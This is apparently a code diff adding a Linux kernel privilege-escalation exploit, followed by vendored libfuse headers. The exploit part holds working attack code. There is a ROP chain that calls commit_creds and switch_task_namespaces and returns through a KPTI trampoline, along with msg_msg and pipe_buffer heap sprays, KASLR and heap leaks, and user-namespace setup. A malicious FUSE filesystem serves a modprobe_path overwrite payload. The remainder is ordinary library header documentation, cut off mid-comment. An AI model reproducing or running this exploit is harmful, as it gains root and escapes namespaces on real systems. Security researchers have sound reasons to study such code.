     516 + cmov_rdi_rax_esi_nz_pop_rbp,
     517 + 0xdeadbeef,
     518 + commit_creds,
     519 + pop_rdi,
     520 + 1,
     521 + find_task_by_vpid,
     522 + pop_rsi,
     523 + 0xbaadbabe,
     524 + cmov_rdi_rax_esi_nz_pop_rbp,
     525 + 0xdeadbeef,
     526 + pop_rsi,
     527 + init_nsproxy,
     528 + switch_task_namespaces,
     529 + kpti_trampoline,
     530 + 0xdeadbeef,
     531 + 0xbaadf00d,
     532 + (uint64_t)pwned,
     533 + user_cs,
     534 + user_rflags,
     535 + user_sp & 0xffffffffffffff00,
     536 + user_ss,
     537 + };
     538 + 
     539 + memcpy(&overwrite_ptr[2], chain, sizeof(chain));
     540 + 
     541 + for (int i = 0; i < P_SPRAY; i++)
     542 + {
     543 + get_msg(targets[i], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR);
     544 + }
     545 + 
     546 + // spray rop chain plus evil vtable ptr to overlap with pipe_buffer
     547 + for (int i = 0; i < ROP_SPRAY; i++)
     548 + {
     549 + send_msg(rop_msg_qid[i], overwrite, 0x300 - 0x30, 0);
     550 + }
     551 + 
     552 + deplete_512();
     553 + deplete_4k();
     554 + puts("[*] Attempt at igniting ROP!");
     555 + 
     556 + // trigger
     557 + for (int i = 0; i < PIPES; i++)
     558 + {
     559 + close(pipefd[i][0]);
     560 + close(pipefd[i][1]);
     561 + }
     562 + 
     563 +}
     564 + 
     565 +void unshare_setup(uid_t uid, gid_t gid)
     566 +{
     567 + int temp;
     568 + char edit[0x100];
     569 + unshare(CLONE_NEWNS|CLONE_NEWUSER);
     570 + temp = open("/proc/self/setgroups", O_WRONLY);
     571 + write(temp, "deny", strlen("deny"));
     572 + close(temp);
     573 + temp = open("/proc/self/uid_map", O_WRONLY);
     574 + snprintf(edit, sizeof(edit), "0 %d 1", uid);
     575 + write(temp, edit, strlen(edit));
     576 + close(temp);
     577 + temp = open("/proc/self/gid_map", O_WRONLY);
     578 + snprintf(edit, sizeof(edit), "0 %d 1", gid);
     579 + write(temp, edit, strlen(edit));
     580 + close(temp);
     581 + return;
     582 +}
     583 + 
     584 +int main(int argc, char **argv, char **envp)
     585 +{
     586 + unshare_setup(getuid(), getgid());
     587 + 
     588 + cpu_set_t my_set;
     589 + CPU_ZERO(&my_set);
     590 + CPU_SET(0, &my_set);
     591 + sched_setaffinity(0, sizeof(cpu_set_t), &my_set);
     592 + 
     593 + // initalize queues to spam rop payload later
     594 + for (int i = 0; i < ROP_SPRAY; i++)
     595 + {
     596 + rop_msg_qid[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
     597 + }
     598 + 
     599 + // pregenerate a lot
     600 + spray_4k();
     601 + 
     602 + // kbase leak
     603 + uint64_t kbase = 0;
     604 + while(!kbase)
     605 + {
     606 + kbase = do_kaslr_leak();
     607 + }
     608 + 
     609 + stack_pivot += (uint64_t)(kbase);
     610 + ud2 += (uint64_t)(kbase);
     611 + commit_creds += (uint64_t)(kbase);
     612 + prepare_kernel_cred += (uint64_t)(kbase);
     613 + switch_task_namespaces += (uint64_t)(kbase);
     614 + find_task_by_vpid += (uint64_t)(kbase);
     615 + init_nsproxy += (uint64_t)(kbase);
     616 + kpti_trampoline += (uint64_t)(kbase);
     617 + pop_rdi += (uint64_t)(kbase);
     618 + pop_rsi += (uint64_t)(kbase);
     619 + cmov_rdi_rax_esi_nz_pop_rbp += (uint64_t)(kbase);
     620 + 
     621 + printf("[*] kbase: %p\n", kbase);
     622 + 
     623 + // pre heap leak setup
     624 + stuff_4k(16);
     625 + spray_512();
     626 + generic_spray(1024, SPRAY_1k);
     627 + 
     628 + // kmalloc-1024 leak and kmalloc-512 leak
     629 + uint64_t kmalloc_1024 = 0;
     630 + uint64_t kmalloc_512 = 0;
     631 + double_heap_leaks leaks = {0};
     632 + 
     633 + while (!kmalloc_1024)
     634 + {
     635 + leaks = do_heap_leaks();
     636 + kmalloc_1024 = leaks.kmalloc_1024_leak;
     637 + kmalloc_512 = leaks.kmalloc_512_leak;
     638 + }
     639 + 
     640 + printf("[*] kmalloc 1024 chunk: 0x%llx\n", kmalloc_1024);
     641 + printf("[*] kmalloc 512 chunk: 0x%llx\n", kmalloc_512);
     642 + 
     643 + deplete_4k();
     644 + spray_4k();
     645 + 
     646 + // try to pwn
     647 + do_win(kmalloc_512, kmalloc_1024);
     648 + puts("[*] exploit failed :(");
     649 + return 0;
     650 +}
  • ■ ■ ■ ■ ■ ■
    fakefuse.c
     1 +#include "fakefuse.h"
     2 + 
     3 +const char *evil_path = "evil";
     4 + 
     5 +int fuse_pipes[2];
     6 + 
     7 +// https://www.maastaar.net/fuse/linux/filesystem/c/2016/05/21/writing-a-simple-filesystem-using-fuse/
     8 + 
     9 +int evil_read(const char *path, char *buf, size_t size, off_t offset,
     10 + struct fuse_file_info *fi)
     11 +{
     12 + // change to modprobe_path
     13 + char signal;
     14 + char evil_buffer[0x1000];
     15 + memset(evil_buffer, 0x43, sizeof(evil_buffer));
     16 + char *evil = modprobe_win;
     17 + memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));
     18 + 
     19 + size_t len = 0x1000;
     20 + 
     21 + if (offset >= len)
     22 + return size;
     23 + 
     24 + if (offset + size > len)
     25 + size = len - offset;
     26 + 
     27 + memcpy(buf, evil_buffer + offset, size);
     28 + 
     29 + // sync with the arb write thread
     30 + read(fuse_pipes[0], &signal, 1);
     31 + 
     32 + return size;
     33 +}
     34 + 
     35 +int evil_getattr(const char *path, struct stat *stbuf,
     36 + struct fuse_file_info *fi)
     37 +{
     38 + int res = 0;
     39 + 
     40 + memset(stbuf, 0, sizeof(struct stat));
     41 + 
     42 + if (strcmp(path, "/") == 0)
     43 + {
     44 + stbuf->st_mode = S_IFDIR | 0755;
     45 + stbuf->st_nlink = 2;
     46 + }
     47 + else if (strcmp(path + 1, evil_path) == 0)
     48 + {
     49 + stbuf->st_mode = S_IFREG | 0444;
     50 + stbuf->st_nlink = 1;
     51 + stbuf->st_size = 0x1000;
     52 + }
     53 + else
     54 + {
     55 + res = -ENOENT;
     56 + }
     57 + 
     58 + return res;
     59 +}
     60 + 
     61 + 
     62 +int evil_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
     63 + off_t offset, struct fuse_file_info *fi,
     64 + enum fuse_readdir_flags flags)
     65 +{
     66 + if (strcmp(path, "/") != 0)
     67 + return -ENOENT;
     68 + 
     69 + filler(buf, ".", NULL, 0, 0);
     70 + filler(buf, "..", NULL, 0, 0);
     71 + filler(buf, evil_path, NULL, 0, 0);
     72 + 
     73 + return 0;
     74 +}
  • ■ ■ ■ ■ ■ ■
    fakefuse.h
     1 +#define FUSE_USE_VERSION 34
     2 + 
     3 +#include <fuse.h>
     4 +#include <stdio.h>
     5 +#include <string.h>
     6 +#include <errno.h>
     7 +#include <fcntl.h>
     8 +#include <stddef.h>
     9 +#include "util.h"
     10 + 
     11 +#define MNT_PATH "evil"
     12 + 
     13 +extern const char *evil_path;
     14 +extern int fuse_pipes[2];
     15 + 
     16 +int evil_read(const char *path, char *buf, size_t size, off_t offset,
     17 + struct fuse_file_info *fi);
     18 + 
     19 +int evil_getattr(const char *path, struct stat *stbuf,
     20 + struct fuse_file_info *fi);
     21 + 
     22 +int evil_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
     23 + off_t offset, struct fuse_file_info *fi,
     24 + enum fuse_readdir_flags flags);
  • ■ ■ ■ ■ ■ ■
    libfuse/cuse_lowlevel.h
     1 +/*
     2 + CUSE: Character device in Userspace
     3 + Copyright (C) 2008-2009 SUSE Linux Products GmbH
     4 + Copyright (C) 2008-2009 Tejun Heo <[email protected]>
     5 + 
     6 + This program can be distributed under the terms of the GNU LGPLv2.
     7 + See the file COPYING.LIB.
     8 + 
     9 + Read example/cusexmp.c for usages.
     10 +*/
     11 + 
     12 +#ifndef CUSE_LOWLEVEL_H_
     13 +#define CUSE_LOWLEVEL_H_
     14 + 
     15 +#ifndef FUSE_USE_VERSION
     16 +#define FUSE_USE_VERSION 29
     17 +#endif
     18 + 
     19 +#include "fuse_lowlevel.h"
     20 + 
     21 +#include <fcntl.h>
     22 +#include <sys/types.h>
     23 +#include <sys/uio.h>
     24 + 
     25 +#ifdef __cplusplus
     26 +extern "C" {
     27 +#endif
     28 + 
     29 +#define CUSE_UNRESTRICTED_IOCTL (1 << 0) /* use unrestricted ioctl */
     30 + 
     31 +struct fuse_session;
     32 + 
     33 +struct cuse_info {
     34 + unsigned dev_major;
     35 + unsigned dev_minor;
     36 + unsigned dev_info_argc;
     37 + const char **dev_info_argv;
     38 + unsigned flags;
     39 +};
     40 + 
     41 +/*
     42 + * Most ops behave almost identically to the matching fuse_lowlevel
     43 + * ops except that they don't take @ino.
     44 + *
     45 + * init_done : called after initialization is complete
     46 + * read/write : always direct IO, simultaneous operations allowed
     47 + * ioctl : might be in unrestricted mode depending on ci->flags
     48 + */
     49 +struct cuse_lowlevel_ops {
     50 + void (*init) (void *userdata, struct fuse_conn_info *conn);
     51 + void (*init_done) (void *userdata);
     52 + void (*destroy) (void *userdata);
     53 + void (*open) (fuse_req_t req, struct fuse_file_info *fi);
     54 + void (*read) (fuse_req_t req, size_t size, off_t off,
     55 + struct fuse_file_info *fi);
     56 + void (*write) (fuse_req_t req, const char *buf, size_t size, off_t off,
     57 + struct fuse_file_info *fi);
     58 + void (*flush) (fuse_req_t req, struct fuse_file_info *fi);
     59 + void (*release) (fuse_req_t req, struct fuse_file_info *fi);
     60 + void (*fsync) (fuse_req_t req, int datasync, struct fuse_file_info *fi);
     61 + void (*ioctl) (fuse_req_t req, int cmd, void *arg,
     62 + struct fuse_file_info *fi, unsigned int flags,
     63 + const void *in_buf, size_t in_bufsz, size_t out_bufsz);
     64 + void (*poll) (fuse_req_t req, struct fuse_file_info *fi,
     65 + struct fuse_pollhandle *ph);
     66 +};
     67 + 
     68 +struct fuse_session *cuse_lowlevel_new(struct fuse_args *args,
     69 + const struct cuse_info *ci,
     70 + const struct cuse_lowlevel_ops *clop,
     71 + void *userdata);
     72 + 
     73 +struct fuse_session *cuse_lowlevel_setup(int argc, char *argv[],
     74 + const struct cuse_info *ci,
     75 + const struct cuse_lowlevel_ops *clop,
     76 + int *multithreaded, void *userdata);
     77 + 
     78 +void cuse_lowlevel_teardown(struct fuse_session *se);
     79 + 
     80 +int cuse_lowlevel_main(int argc, char *argv[], const struct cuse_info *ci,
     81 + const struct cuse_lowlevel_ops *clop, void *userdata);
     82 + 
     83 +#ifdef __cplusplus
     84 +}
     85 +#endif
     86 + 
     87 +#endif /* CUSE_LOWLEVEL_H_ */
     88 + 
  • ■ ■ ■ ■ ■ ■
    libfuse/fuse.h
     1 +/*
     2 + FUSE: Filesystem in Userspace
     3 + Copyright (C) 2001-2007 Miklos Szeredi <[email protected]>
     4 + 
     5 + This program can be distributed under the terms of the GNU LGPLv2.
     6 + See the file COPYING.LIB.
     7 +*/
     8 + 
     9 +#ifndef FUSE_H_
     10 +#define FUSE_H_
     11 + 
     12 +/** @file
     13 + *
     14 + * This file defines the library interface of FUSE
     15 + *
     16 + * IMPORTANT: you should define FUSE_USE_VERSION before including this header.
     17 + */
     18 + 
     19 +#include "fuse_common.h"
     20 + 
     21 +#include <fcntl.h>
     22 +#include <time.h>
     23 +#include <sys/types.h>
     24 +#include <sys/stat.h>
     25 +#include <sys/statvfs.h>
     26 +#include <sys/uio.h>
     27 + 
     28 +#ifdef __cplusplus
     29 +extern "C" {
     30 +#endif
     31 + 
     32 +/* ----------------------------------------------------------- *
     33 + * Basic FUSE API *
     34 + * ----------------------------------------------------------- */
     35 + 
     36 +/** Handle for a FUSE filesystem */
     37 +struct fuse;
     38 + 
     39 +/**
     40 + * Readdir flags, passed to ->readdir()
     41 + */
     42 +enum fuse_readdir_flags {
     43 + /**
     44 + * "Plus" mode.
     45 + *
     46 + * The kernel wants to prefill the inode cache during readdir. The
     47 + * filesystem may honour this by filling in the attributes and setting
     48 + * FUSE_FILL_DIR_FLAGS for the filler function. The filesystem may also
     49 + * just ignore this flag completely.
     50 + */
     51 + FUSE_READDIR_PLUS = (1 << 0)
     52 +};
     53 + 
     54 +/**
     55 + * Readdir flags, passed to fuse_fill_dir_t callback.
     56 + */
     57 +enum fuse_fill_dir_flags {
     58 + /**
     59 + * "Plus" mode: all file attributes are valid
     60 + *
     61 + * The attributes are used by the kernel to prefill the inode cache
     62 + * during a readdir.
     63 + *
     64 + * It is okay to set FUSE_FILL_DIR_PLUS if FUSE_READDIR_PLUS is not set
     65 + * and vice versa.
     66 + */
     67 + FUSE_FILL_DIR_PLUS = (1 << 1)
     68 +};
     69 + 
     70 +/** Function to add an entry in a readdir() operation
     71 + *
     72 + * The *off* parameter can be any non-zero value that enables the
     73 + * filesystem to identify the current point in the directory
     74 + * stream. It does not need to be the actual physical position. A
     75 + * value of zero is reserved to indicate that seeking in directories
     76 + * is not supported.
     77 + *
     78 + * @param buf the buffer passed to the readdir() operation
     79 + * @param name the file name of the directory entry
     80 + * @param stbuf file attributes, can be NULL
     81 + * @param off offset of the next entry or zero
     82 + * @param flags fill flags
     83 + * @return 1 if buffer is full, zero otherwise
     84 + */
     85 +typedef int (*fuse_fill_dir_t) (void *buf, const char *name,
     86 + const struct stat *stbuf, off_t off,
     87 + enum fuse_fill_dir_flags flags);
     88 +/**
     89 + * Configuration of the high-level API
     90 + *
     91 + * This structure is initialized from the arguments passed to
     92 + * fuse_new(), and then passed to the file system's init() handler
     93 + * which should ensure that the configuration is compatible with the
     94 + * file system implementation.
     95 + */
     96 +struct fuse_config {
     97 + /**
     98 + * If `set_gid` is non-zero, the st_gid attribute of each file
     99 + * is overwritten with the value of `gid`.
     100 + */
     101 + int set_gid;
     102 + unsigned int gid;
     103 + 
     104 + /**
     105 + * If `set_uid` is non-zero, the st_uid attribute of each file
     106 + * is overwritten with the value of `uid`.
     107 + */
     108 + int set_uid;
     109 + unsigned int uid;
     110 + 
     111 + /**
     112 + * If `set_mode` is non-zero, the any permissions bits set in
     113 + * `umask` are unset in the st_mode attribute of each file.
     114 + */
     115 + int set_mode;
     116 + unsigned int umask;
     117 + 
     118 + /**
     119 + * The timeout in seconds for which name lookups will be
     120 + * cached.
     121 + */
     122 + double entry_timeout;
     123 + 
     124 + /**
     125 + * The timeout in seconds for which a negative lookup will be
     126 + * cached. This means, that if file did not exist (lookup
     127 + * returned ENOENT), the lookup will only be redone after the
     128 + * timeout, and the file/directory will be assumed to not
     129 + * exist until then. A value of zero means that negative
     130 + * lookups are not cached.
     131 + */
     132 + double negative_timeout;
     133 + 
     134 + /**
     135 + * The timeout in seconds for which file/directory attributes
     136 + * (as returned by e.g. the `getattr` handler) are cached.
     137 + */
     138 + double attr_timeout;
     139 + 
     140 + /**
     141 + * Allow requests to be interrupted
     142 + */
     143 + int intr;
     144 + 
     145 + /**
     146 + * Specify which signal number to send to the filesystem when
     147 + * a request is interrupted. The default is hardcoded to
     148 + * USR1.
     149 + */
     150 + int intr_signal;
     151 + 
     152 + /**
     153 + * Normally, FUSE assigns inodes to paths only for as long as
     154 + * the kernel is aware of them. With this option inodes are
     155 + * instead remembered for at least this many seconds. This
     156 + * will require more memory, but may be necessary when using
     157 + * applications that make use of inode numbers.
     158 + *
     159 + * A number of -1 means that inodes will be remembered for the
     160 + * entire life-time of the file-system process.
     161 + */
     162 + int remember;
     163 + 
     164 + /**
     165 + * The default behavior is that if an open file is deleted,
     166 + * the file is renamed to a hidden file (.fuse_hiddenXXX), and
     167 + * only removed when the file is finally released. This
     168 + * relieves the filesystem implementation of having to deal
     169 + * with this problem. This option disables the hiding
     170 + * behavior, and files are removed immediately in an unlink
     171 + * operation (or in a rename operation which overwrites an
     172 + * existing file).
     173 + *
     174 + * It is recommended that you not use the hard_remove
     175 + * option. When hard_remove is set, the following libc
     176 + * functions fail on unlinked files (returning errno of
     177 + * ENOENT): read(2), write(2), fsync(2), close(2), f*xattr(2),
     178 + * ftruncate(2), fstat(2), fchmod(2), fchown(2)
     179 + */
     180 + int hard_remove;
     181 + 
     182 + /**
     183 + * Honor the st_ino field in the functions getattr() and
     184 + * fill_dir(). This value is used to fill in the st_ino field
     185 + * in the stat(2), lstat(2), fstat(2) functions and the d_ino
     186 + * field in the readdir(2) function. The filesystem does not
     187 + * have to guarantee uniqueness, however some applications
     188 + * rely on this value being unique for the whole filesystem.
     189 + *
     190 + * Note that this does *not* affect the inode that libfuse
     191 + * and the kernel use internally (also called the "nodeid").
     192 + */
     193 + int use_ino;
     194 + 
     195 + /**
     196 + * If use_ino option is not given, still try to fill in the
     197 + * d_ino field in readdir(2). If the name was previously
     198 + * looked up, and is still in the cache, the inode number
     199 + * found there will be used. Otherwise it will be set to -1.
     200 + * If use_ino option is given, this option is ignored.
     201 + */
     202 + int readdir_ino;
     203 + 
     204 + /**
     205 + * This option disables the use of page cache (file content cache)
     206 + * in the kernel for this filesystem. This has several affects:
     207 + *
     208 + * 1. Each read(2) or write(2) system call will initiate one
     209 + * or more read or write operations, data will not be
     210 + * cached in the kernel.
     211 + *
     212 + * 2. The return value of the read() and write() system calls
     213 + * will correspond to the return values of the read and
     214 + * write operations. This is useful for example if the
     215 + * file size is not known in advance (before reading it).
     216 + *
     217 + * Internally, enabling this option causes fuse to set the
     218 + * `direct_io` field of `struct fuse_file_info` - overwriting
     219 + * any value that was put there by the file system.
     220 + */
     221 + int direct_io;
     222 + 
     223 + /**
     224 + * This option disables flushing the cache of the file
     225 + * contents on every open(2). This should only be enabled on
     226 + * filesystems where the file data is never changed
     227 + * externally (not through the mounted FUSE filesystem). Thus
     228 + * it is not suitable for network filesystems and other
     229 + * intermediate filesystems.
     230 + *
     231 + * NOTE: if this option is not specified (and neither
     232 + * direct_io) data is still cached after the open(2), so a
     233 + * read(2) system call will not always initiate a read
     234 + * operation.
     235 + *
     236 + * Internally, enabling this option causes fuse to set the
     237 + * `keep_cache` field of `struct fuse_file_info` - overwriting
     238 + * any value that was put there by the file system.
     239 + */
     240 + int kernel_cache;
     241 + 
     242 + /**
     243 + * This option is an alternative to `kernel_cache`. Instead of
     244 + * unconditionally keeping cached data, the cached data is
     245 + * invalidated on open(2) if if the modification time or the
     246 + * size of the file has changed since it was last opened.
     247 + */
     248 + int auto_cache;
     249 + 
     250 + /**
     251 + * The timeout in seconds for which file attributes are cached
     252 + * for the purpose of checking if auto_cache should flush the
     253 + * file data on open.
     254 + */
     255 + int ac_attr_timeout_set;
     256 + double ac_attr_timeout;
     257 + 
     258 + /**
     259 + * If this option is given the file-system handlers for the
     260 + * following operations will not receive path information:
     261 + * read, write, flush, release, fallocate, fsync, readdir,
     262 + * releasedir, fsyncdir, lock, ioctl and poll.
     263 + *
     264 + * For the truncate, getattr, chmod, chown and utimens
     265 + * operations the path will be provided only if the struct
     266 + * fuse_file_info argument is NULL.
     267 + */
     268 + int nullpath_ok;
     269 + 
     270 + /**
     271 + * The remaining options are used by libfuse internally and
     272 + * should not be touched.
     273 + */
     274 + int show_help;
     275 + char *modules;
     276 + int debug;
     277 +};
     278 + 
     279 + 
     280 +/**
     281 + * The file system operations:
     282 + *
     283 + * Most of these should work very similarly to the well known UNIX
     284 + * file system operations. A major exception is that instead of
     285 + * returning an error in 'errno', the operation should return the
     286 + * negated error value (-errno) directly.
     287 + *
     288 + * All methods are optional, but some are essential for a useful
     289 + * filesystem (e.g. getattr). Open, flush, release, fsync, opendir,
     290 + * releasedir, fsyncdir, access, create, truncate, lock, init and
     291 + * destroy are special purpose methods, without which a full featured
     292 + * filesystem can still be implemented.
     293 + *
     294 + * In general, all methods are expected to perform any necessary
     295 + * permission checking. However, a filesystem may delegate this task
     296 + * to the kernel by passing the `default_permissions` mount option to
     297 + * `fuse_new()`. In this case, methods will only be called if
     298 + * the kernel's permission check has succeeded.
     299 + *
     300 + * Almost all operations take a path which can be of any length.
     301 + */
     302 +struct fuse_operations {
     303 + /** Get file attributes.
     304 + *
     305 + * Similar to stat(). The 'st_dev' and 'st_blksize' fields are
     306 + * ignored. The 'st_ino' field is ignored except if the 'use_ino'
     307 + * mount option is given. In that case it is passed to userspace,
     308 + * but libfuse and the kernel will still assign a different
     309 + * inode for internal use (called the "nodeid").
     310 + *
     311 + * `fi` will always be NULL if the file is not currently open, but
     312 + * may also be NULL if the file is open.
     313 + */
     314 + int (*getattr) (const char *, struct stat *, struct fuse_file_info *fi);
     315 + 
     316 + /** Read the target of a symbolic link
     317 + *
     318 + * The buffer should be filled with a null terminated string. The
     319 + * buffer size argument includes the space for the terminating
     320 + * null character. If the linkname is too long to fit in the
     321 + * buffer, it should be truncated. The return value should be 0
     322 + * for success.
     323 + */
     324 + int (*readlink) (const char *, char *, size_t);
     325 + 
     326 + /** Create a file node
     327 + *
     328 + * This is called for creation of all non-directory, non-symlink
     329 + * nodes. If the filesystem defines a create() method, then for
     330 + * regular files that will be called instead.
     331 + */
     332 + int (*mknod) (const char *, mode_t, dev_t);
     333 + 
     334 + /** Create a directory
     335 + *
     336 + * Note that the mode argument may not have the type specification
     337 + * bits set, i.e. S_ISDIR(mode) can be false. To obtain the
     338 + * correct directory type bits use mode|S_IFDIR
     339 + * */
     340 + int (*mkdir) (const char *, mode_t);
     341 + 
     342 + /** Remove a file */
     343 + int (*unlink) (const char *);
     344 + 
     345 + /** Remove a directory */
     346 + int (*rmdir) (const char *);
     347 + 
     348 + /** Create a symbolic link */
     349 + int (*symlink) (const char *, const char *);
     350 + 
     351 + /** Rename a file
     352 + *
     353 + * *flags* may be `RENAME_EXCHANGE` or `RENAME_NOREPLACE`. If
     354 + * RENAME_NOREPLACE is specified, the filesystem must not
     355 + * overwrite *newname* if it exists and return an error
     356 + * instead. If `RENAME_EXCHANGE` is specified, the filesystem
     357 + * must atomically exchange the two files, i.e. both must
     358 + * exist and neither may be deleted.
     359 + */
     360 + int (*rename) (const char *, const char *, unsigned int flags);
     361 + 
     362 + /** Create a hard link to a file */
     363 + int (*link) (const char *, const char *);
     364 + 
     365 + /** Change the permission bits of a file
     366 + *
     367 + * `fi` will always be NULL if the file is not currently open, but
     368 + * may also be NULL if the file is open.
     369 + */
     370 + int (*chmod) (const char *, mode_t, struct fuse_file_info *fi);
     371 + 
     372 + /** Change the owner and group of a file
     373 + *
     374 + * `fi` will always be NULL if the file is not currently open, but
     375 + * may also be NULL if the file is open.
     376 + *
     377 + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is
     378 + * expected to reset the setuid and setgid bits.
     379 + */
     380 + int (*chown) (const char *, uid_t, gid_t, struct fuse_file_info *fi);
     381 + 
     382 + /** Change the size of a file
     383 + *
     384 + * `fi` will always be NULL if the file is not currently open, but
     385 + * may also be NULL if the file is open.
     386 + *
     387 + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is
     388 + * expected to reset the setuid and setgid bits.
     389 + */
     390 + int (*truncate) (const char *, off_t, struct fuse_file_info *fi);
     391 + 
     392 + /** Open a file
     393 + *
     394 + * Open flags are available in fi->flags. The following rules
     395 + * apply.
     396 + *
     397 + * - Creation (O_CREAT, O_EXCL, O_NOCTTY) flags will be
     398 + * filtered out / handled by the kernel.
     399 + *
     400 + * - Access modes (O_RDONLY, O_WRONLY, O_RDWR, O_EXEC, O_SEARCH)
     401 + * should be used by the filesystem to check if the operation is
     402 + * permitted. If the ``-o default_permissions`` mount option is
     403 + * given, this check is already done by the kernel before calling
     404 + * open() and may thus be omitted by the filesystem.
     405 + *
     406 + * - When writeback caching is enabled, the kernel may send
     407 + * read requests even for files opened with O_WRONLY. The
     408 + * filesystem should be prepared to handle this.
     409 + *
     410 + * - When writeback caching is disabled, the filesystem is
     411 + * expected to properly handle the O_APPEND flag and ensure
     412 + * that each write is appending to the end of the file.
     413 + *
     414 + * - When writeback caching is enabled, the kernel will
     415 + * handle O_APPEND. However, unless all changes to the file
     416 + * come through the kernel this will not work reliably. The
     417 + * filesystem should thus either ignore the O_APPEND flag
     418 + * (and let the kernel handle it), or return an error
     419 + * (indicating that reliably O_APPEND is not available).
     420 + *
     421 + * Filesystem may store an arbitrary file handle (pointer,
     422 + * index, etc) in fi->fh, and use this in other all other file
     423 + * operations (read, write, flush, release, fsync).
     424 + *
     425 + * Filesystem may also implement stateless file I/O and not store
     426 + * anything in fi->fh.
     427 + *
     428 + * There are also some flags (direct_io, keep_cache) which the
     429 + * filesystem may set in fi, to change the way the file is opened.
     430 + * See fuse_file_info structure in <fuse_common.h> for more details.
     431 + *
     432 + * If this request is answered with an error code of ENOSYS
     433 + * and FUSE_CAP_NO_OPEN_SUPPORT is set in
     434 + * `fuse_conn_info.capable`, this is treated as success and
     435 + * future calls to open will also succeed without being send
     436 + * to the filesystem process.
     437 + *
     438 + */
     439 + int (*open) (const char *, struct fuse_file_info *);
     440 + 
     441 + /** Read data from an open file
     442 + *
     443 + * Read should return exactly the number of bytes requested except
     444 + * on EOF or error, otherwise the rest of the data will be
     445 + * substituted with zeroes. An exception to this is when the
     446 + * 'direct_io' mount option is specified, in which case the return
     447 + * value of the read system call will reflect the return value of
     448 + * this operation.
     449 + */
     450 + int (*read) (const char *, char *, size_t, off_t,
     451 + struct fuse_file_info *);
     452 + 
     453 + /** Write data to an open file
     454 + *
     455 + * Write should return exactly the number of bytes requested
     456 + * except on error. An exception to this is when the 'direct_io'
     457 + * mount option is specified (see read operation).
     458 + *
     459 + * Unless FUSE_CAP_HANDLE_KILLPRIV is disabled, this method is
     460 + * expected to reset the setuid and setgid bits.
     461 + */
     462 + int (*write) (const char *, const char *, size_t, off_t,
     463 + struct fuse_file_info *);
     464 + 
     465 + /** Get file system statistics
     466 + *
     467 + * The 'f_favail', 'f_fsid' and 'f_flag' fields are ignored
     468 + */
     469 + int (*statfs) (const char *, struct statvfs *);
     470 + 
     471 + /** Possibly flush cached data
     472 + *
     473 + * BIG NOTE: This is not equivalent to fsync(). It's not a
     474 + * request to sync dirty data.
     475 + *
     476 + * Flush is called on each close() of a file descriptor, as opposed to
     477 + * release which is called on the close of the last file descriptor for
     478 + * a file. Under Linux, errors returned by flush() will be passed to
     479 + * userspace as errors from close(), so flush() is a good place to write
     480 + * back any cached dirty data. However, many applications ignore errors
     481 + * on close(), and on non-Linux systems, close() may succeed even if flush()
     482 + * returns an error. For these reasons, filesystems should not assume
     483 + * that errors returned by flush will ever be noticed or even
     484 + * delivered.
     485 + *
     486 + * NOTE: The flush() method may be called more than once for each
     487 + * open(). This happens if more than one file descriptor refers to an
     488 + * open file handle, e.g. due to dup(), dup2() or fork() calls. It is
     489 + * not possible to determine if a flush is final, so each flush should
     490 + * be treated equally. Multiple write-flush sequences are relatively
     491 + * rare, so this shouldn't be a problem.
     492 + *
     493 + * Filesystems shouldn't assume that flush will be called at any
     494 + * particular point. It may be called more times than expected, or not
     495 + * at all.
     496 + *
     497 + * [close]: http://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html
     498 + */
     499 + int (*flush) (const char *, struct fuse_file_info *);
     500 + 
     501 + /** Release an open file
     502 + *
     503 + * Release is called when there are no more references to an open
     504 + * file: all file descriptors are closed and all memory mappings
     505 + * are unmapped.
     506 + *
     507 + * For every open() call there will be exactly one release() call
     508 + * with the same flags and file handle. It is possible to
     509 + * have a file opened more than once, in which case only the last
     510 + * release will mean, that no more reads/writes will happen on the
     511 + * file. The return value of release is ignored.
     512 + */
     513 + int (*release) (const char *, struct fuse_file_info *);
     514 + 
     515 + /** Synchronize file contents
     516 + *
     517 + * If the datasync parameter is non-zero, then only the user data
     518 + * should be flushed, not the meta data.
     519 + */
     520 + int (*fsync) (const char *, int, struct fuse_file_info *);
     521 + 
     522 + /** Set extended attributes */
     523 + int (*setxattr) (const char *, const char *, const char *, size_t, int);
     524 + 
     525 + /** Get extended attributes */
     526 + int (*getxattr) (const char *, const char *, char *, size_t);
     527 + 
     528 + /** List extended attributes */
     529 + int (*listxattr) (const char *, char *, size_t);
     530 + 
     531 + /** Remove extended attributes */
     532 + int (*removexattr) (const char *, const char *);
     533 + 
     534 + /** Open directory
     535 + *
     536 + * Unless the 'default_permissions' mount option is given,
     537 + * this method should check if opendir is permitted for this
     538 + * directory. Optionally opendir may also return an arbitrary
     539 + * filehandle in the fuse_file_info structure, which will be
     540 + * passed to readdir, releasedir and fsyncdir.
     541 + */
     542 + int (*opendir) (const char *, struct fuse_file_info *);
     543 + 
     544 + /** Read directory
     545 + *
     546 + * The filesystem may choose between two modes of operation:
     547 + *
     548 + * 1) The readdir implementation ignores the offset parameter, and
     549 + * passes zero to the filler function's offset. The filler
     550 + * function will not return '1' (unless an error happens), so the
     551 + * whole directory is read in a single readdir operation.
     552 + *
     553 + * 2) The readdir implementation keeps track of the offsets of the
     554 + * directory entries. It uses the offset parameter and always
     555 + * passes non-zero offset to the filler function. When the buffer
     556 + * is full (or an error happens) the filler function will return
     557 + * '1'.
     558 + */
     559 + int (*readdir) (const char *, void *, fuse_fill_dir_t, off_t,
     560 + struct fuse_file_info *, enum fuse_readdir_flags);
     561 + 
     562 + /** Release directory
     563 + *
     564 + * If the directory has been removed after the call to opendir, the
     565 + * path parameter will be NULL.
     566 + */
     567 + int (*releasedir) (const char *, struct fuse_file_info *);
     568 + 
     569 + /** Synchronize directory contents
     570 + *
     571 + * If the directory has been removed after the call to opendir, the
     572 + * path parameter will be NULL.
     573 + *
     574 + * If the datasync parameter is non-zero, then only the user data
     575 + * should be flushed, not the meta data
     576 + */
     577 + int (*fsyncdir) (const char *, int, struct fuse_file_info *);
     578 + 
     579 + /**
     580 + * Initialize filesystem
     581 + *
     582 + * The return value will passed in the `private_data` field of
     583 + * `struct fuse_context` to all file operations, and as a
     584 + * parameter to the destroy() method. It overrides the initial
